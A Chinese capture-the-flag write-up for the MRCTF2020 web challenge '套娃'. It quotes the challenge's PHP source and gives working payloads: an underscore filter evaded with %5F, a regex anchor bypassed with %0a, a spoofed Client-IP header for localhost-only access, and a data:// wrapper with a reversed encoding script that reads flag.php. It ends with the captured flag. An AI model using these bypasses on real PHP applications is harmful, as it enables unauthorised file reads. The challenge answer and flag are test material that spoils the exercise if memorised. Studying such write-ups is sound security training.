[MRCTF2020]套娃

打开靶机,先看源码

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

需要绕过两个if
第一个if屏蔽get请求语句中得_和它的url编码%5f，我们这里可以用%5F来绕过(其实根据php匹配规则 . 和 空格 也能绕过)
第二个if要求b_u_p_t值为23333且正则匹配23333，正则表达式中的 $ 默认只匹配字符串的结尾，而不会跨行检查,所以这里我们用换行符%0a绕过
最终payload：?b%5Fu%5Fp%5Ft=23333%0a
flag在secrettw.php

访问查看源码，只允许local访问，我们抓个包改client-ip值为127.0.0.1，查看源码

点击查看代码

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jsfuck直接f12控制台粘贴执行

随便post个Merak值获得源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

给出了目标文件flag.php,一个change方法进行base64解密并进行ASCII 值偏移
先解决file_get_contents($_GET['2333']) === 'todat is a happy day'
用data伪协议写入即可data://text/plain,todat is a happy day
之后只需让第二个file_get_contents函数值等于flag.php就行，不过中间有个change方法，我们照着来逆向思维，先反偏移再加密就行，直接放脚本

<?php

$offset_str = "flag.php";
$original_str = '';

for ($i = 0; $i < strlen($offset_str); $i++) {
    $original_char_ascii = ord($offset_str[$i]) - ($i * 2);
    $original_str .= chr($original_char_ascii);
}

echo base64_encode($original_str);

得到ZmpdYSZmXGI=
最终payload=?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
查看源码获得flag

flag{1defb82b-fa8e-4c03-8950-1eccc3453248}